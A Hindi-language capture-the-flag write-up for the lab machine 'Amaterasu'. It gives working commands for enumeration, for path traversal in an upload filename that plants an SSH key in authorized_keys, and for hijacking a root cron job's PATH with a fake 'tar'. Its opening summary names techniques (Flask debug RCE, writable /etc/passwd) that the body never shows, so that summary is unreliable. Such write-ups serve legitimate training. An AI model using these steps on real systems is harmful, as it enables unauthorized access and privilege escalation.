# Amaterasu राइटअप - Proving Grounds

> Port 5000 पर Flask debug RCE exploit करें, SMB जैसी file API enumerate करें, reverse shell upload करें, फिर root escalation के लिए writable /etc/passwd का दुरुपयोग करें।

- **URL:** https://hackindex.io/hi/writeups/amaterasu
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Machine:** https://portal.offsec.com/machine/amaterasu-49068/overview
- **Read time:** 7 min read
- **Published:** 2026-03-07
- **Updated:** 2026-09-11

### खोज

हम टारगेट के खिलाफ एक पूरा Nmap scan चलाकर शुरुआत करते हैं ताकि exposed services और उनके versions की पहचान की जा सके।

```bash
scan_tcp_full $TARGET_IP
# [+] Discovering all open TCP ports...
# <snip>
# [+] Parsing open TCP ports...
# [+] Running scripts & versions on TCP ports: 21,25022,33414,40080
# Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-18 04:43 +0100
# Nmap scan report for 192.168.184.249
# Host is up (0.024s latency).
#
# PORT      STATE SERVICE VERSION
# 21/tcp    open  ftp     vsftpd 3.0.3
# | ftp-syst: 
# |   STAT: 
# | FTP server status:
# |      Connected to 192.168.45.222
# |      Logged in as ftp
# |      TYPE: ASCII
# |      No session bandwidth limit
# |      Session timeout in seconds is 300
# |      Control connection is plain text
# |      Data connections will be plain text
# |      At session startup, client count was 3
# |      vsFTPd 3.0.3 - secure, fast, stable
# |_End of status
# | ftp-anon: Anonymous FTP login allowed (FTP code 230)
# |_Can't get directory listing: TIMEOUT
# 25022/tcp open  ssh     OpenSSH 8.6 (protocol 2.0)
# | ssh-hostkey: 
# |   256 68:c6:05:e8:dc:f2:9a:2a:78:9b:ee:a1:ae:f6:38:1a (ECDSA)
# |_  256 e9:89:cc:c2:17:14:f3:bc:62:21:06:4a:5e:71:80:ce (ED25519)
# 33414/tcp open  http    Werkzeug httpd 2.2.3 (Python 3.9.13)
# |_http-title: 404 Not Found
# |_http-server-header: Werkzeug/2.2.3 Python/3.9.13
# 40080/tcp open  http    Apache httpd 2.4.53 ((Fedora))
# |_http-title: My test page
# | http-methods: 
# |_  Potentially risky methods: TRACE
# |_http-server-header: Apache/2.4.53 (Fedora)
# Service Info: OS: Unix
#
# Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done: 1 IP address (1 host up) scanned in 43.13 seconds
```

Results से, कुछ ports खास तौर पर नज़र आते हैं, खासकर **33414** और **40080**। चूंकि ये web-facing लगते हैं, हम उन्हें **Gobuster** के साथ आगे enumerate करते हैं ताकि छिपे हुए paths और endpoints खोजे जा सकें।

```bash
gobuster dir -u "http://$TARGET_IP:33414" -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -t 50 -r
# ===============================================================
# Gobuster v3.8
# by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
# ===============================================================
# [+] Url:                     http://192.168.184.249:33414
# [+] Method:                  GET
# [+] Threads:                 50
# [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-1.0.txt
# [+] Negative Status codes:   404
# [+] User Agent:              gobuster/3.8
# [+] Follow Redirect:         true
# [+] Timeout:                 10s
# ===============================================================
# Starting gobuster in directory enumeration mode
# ===============================================================
# /help                 (Status: 200) [Size: 137]
# /info                 (Status: 200) [Size: 98]
# Progress: 87478 / 141707 (61.73%)[ERROR] error on word t-43021: timeout occurred during the request
# Progress: 141707 / 141707 (100.00%)
# ===============================================================
# Finished
# ===============================================================
```

### API जाँच

आगे, हम **HTTP port 33414** पर क्या चल रहा है यह उसके available pages को browse करके और responses को check करके inspect करते हैं।

/info:

```
[
  "Python File Server REST API v2.5",
  "Author: Alfredo Moroder",
  "GET /help = List of the commands"
]

```

/help:

```
[
  "GET /info : General Info",
  "GET /help : This listing",
  "GET /file-list?dir=/tmp : List of the files",
  "POST /file-upload : Upload files"
]
```

यह output हमें additional functionality की ओर इशारा करता है, जिसमें दो खास दिलचस्प endpoints शामिल हैं:

- /file-list?dir=/tmp
- /file-upload

हम directory listing के behavior को probe करके आगे बढ़ते हैं ताकि यह समझ सकें कि हम क्या access कर सकते हैं और filesystem में हमें कितनी visibility मिलती है।

/file-list?dir=/tmp:

```
[
  "flask.tar.gz",
  "systemd-private-aaf3eff3160545eab079c1428e55f60d-httpd.service-ahY8MS",
  "systemd-private-aaf3eff3160545eab079c1428e55f60d-ModemManager.service-yphYDm",
  "systemd-private-aaf3eff3160545eab079c1428e55f60d-systemd-logind.service-pY2DMM",
  "systemd-private-aaf3eff3160545eab079c1428e55f60d-chronyd.service-Wrr8N4",
  "systemd-private-aaf3eff3160545eab079c1428e55f60d-dbus-broker.service-EZf7Au",
  "systemd-private-aaf3eff3160545eab079c1428e55f60d-systemd-resolved.service-Hibhb0",
  "systemd-private-aaf3eff3160545eab079c1428e55f60d-systemd-oomd.service-yES4xZ"
]

```

/file-list?dir=/home:

```
[
  "alfredo"
]

```

### फ़ाइल अपलोड

Reconnaissance पूरा होने के बाद, हम `/file-upload` endpoint को test करने की ओर बढ़ते हैं ताकि देख सकें कि uploads को कैसे handle किया जाता है और क्या file type, extension, या content पर कोई restrictions हैं।

```bash
curl -X POST http://192.168.184.249:33414/file-upload
# {"message":"No file part in the request"}
```

```bash
curl -X POST http://192.168.184.249:33414/file-upload -F 'file=@README.md'
# {"message":"No filename part in the request"}
```

```bash
curl -X POST http://192.168.184.249:33414/file-upload -F 'file=@README.md' -F 'filename=test.md'
# {"message":"Allowed file types are txt, pdf, png, jpg, jpeg, gif"}
#
```

```bash
curl -X POST http://192.168.184.249:33414/file-upload -F 'file=@test.txt' -F 'filename=test.txt'
# {"message":"File successfully uploaded"}
#
```

जब हम validation logic समझ लेते हैं, तो हम एक payload upload करने की कोशिश करते हैं, जैसे कि एक **PHP reverse shell**, जबकि उसे एक हानिरहित `.txt` file के रूप में पेश करते हैं ताकि filtering को bypass किया जा सके।

```bash
curl -X POST http://192.168.184.249:33414/file-upload -F 'file=@test.txt' -F 'filename=/home/alfredo/restapi/test.php'
# {"message":"File successfully uploaded"}
```

Upload करने के बाद, अगला कदम यह verify करना है कि file कहाँ पहुँची। **file-list** feature का उपयोग करके, हम uploaded payload के लिए filesystem में खोजते हैं।

```bash
http://192.168.184.249:33414/file-list?dir=/tmp
# [
#   "flask.tar.gz",
#   "systemd-private-aaf3eff3160545eab079c1428e55f60d-httpd.service-ahY8MS",
#   "systemd-private-aaf3eff3160545eab079c1428e55f60d-ModemManager.service-yphYDm",
#   "systemd-private-aaf3eff3160545eab079c1428e55f60d-systemd-logind.service-pY2DMM",
#   "systemd-private-aaf3eff3160545eab079c1428e55f60d-chronyd.service-Wrr8N4",
#   "systemd-private-aaf3eff3160545eab079c1428e55f60d-dbus-broker.service-EZf7Au",
#   "systemd-private-aaf3eff3160545eab079c1428e55f60d-systemd-resolved.service-Hibhb0",
#   "systemd-private-aaf3eff3160545eab079c1428e55f60d-systemd-oomd.service-yES4xZ",
#   "test.php"
# ]
```

### शुरुआती यूज़र एक्सेस

यह confirm करने के बाद कि payload disk पर मौजूद है, हम अपनी SSH public key को यहाँ जोड़कर एक ज़्यादा stable access method की ओर pivot करते हैं:

```bash
curl -X POST http://192.168.184.249:33414/file-upload -F 'file=@backdoor.txt' -F 'filename=/home/alfredo/.ssh/authorized_keys'
# {"message":"File successfully uploaded"}
```

Alfredo के account में हमारी key जुड़ जाने के बाद, हम संबंधित private key का उपयोग करके SSH के ज़रिए authenticate कर सकते हैं और **alfredo** के रूप में एक interactive shell प्राप्त कर सकते हैं।

```bash
ssh alfredo@$TARGET_IP -i backdoor -p 25022    
# Warning: Permanently added '[192.168.184.249]:25022' (ED25519) to the list of known hosts.
# ** WARNING: connection is not using a post-quantum key exchange algorithm.
# ** This session may be vulnerable to "store now, decrypt later" attacks.
# ** The server may need to be upgraded. See https://openssh.com/pq.html
# Last login: Tue Mar 28 03:21:25 2023
# [alfredo@fedora ~]$ cat /home/alfredo/local.txt 
# [HIDDEN]
```

### प्रिविलेज एस्केलेशन

User shell से, हम scheduled tasks को check करते हैं ताकि यह पहचान सकें कि कुछ भी elevated privileges के साथ चल रहा है या नहीं। हम cron configuration (system-wide या user-specific) को inspect करते हैं और एक recurring job पाते हैं।

```bash
cat /etc/crontab
# SHELL=/bin/bash
# PATH=/sbin:/bin:/usr/sbin:/usr/bin
# MAILTO=root
#
# # For details see man 4 crontabs
#
# # Example of job definition:
# # .---------------- minute (0 - 59)
# # |  .------------- hour (0 - 23)
# # |  |  .---------- day of month (1 - 31)
# # |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# # |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# # |  |  |  |  |
# # *  *  *  *  * user-name  command to be executed
#
# */1 * * * * root /usr/local/bin/backup-flask.sh
```

```bash
cat /usr/local/bin/backup-flask.sh
```

Referenced script पढ़ने योग्य है, और उसे review करने पर एक ज़रूरी detail सामने आती है: यह स्पष्ट रूप से `PATH` को इस तरह modify करता है कि उसमें **Alfredo की home directory** शामिल हो जाए।

```python
#!/bin/sh
export PATH="/home/alfredo/restapi:$PATH"
cd /home/alfredo/restapi
tar czf /tmp/flask.tar.gz *
```

यह एक समस्या है, क्योंकि इसका मतलब है कि Alfredo की directory में मौजूद binaries, script चलने पर system binaries से प्राथमिकता ले सकती हैं।

इस मामले में, script `tar` को call करता है। अगर हम `tar` नाम का एक malicious executable उस directory में रखें जो `PATH` में पहले आती है, तो cron job **हमारा** version `/bin/tar` की जगह execute करेगा।

तो हम उपयुक्त स्थान पर एक नकली `tar` executable बनाते हैं और उसे runnable बनाते हैं।

```bash
touch /home/alfredo/restapi/tar
chmod +x /home/alfredo/restapi/tar 
nano /home/alfredo/restapi/tar
# cp /root/*.txt /tmp
# chmod 644 /tmp/*.txt
```

चूंकि cron job हर मिनट चलता है, हम अगले execution का इंतज़ार करते हैं। जब यह trigger होता है, हमारा payload cron job के privileges (root) के साथ चलता है, जो हमें root flag retrieve करने की अनुमति देता है:

```bash
cat /tmp/proof.txt 
# [HIDDEN]
```

संबंधित
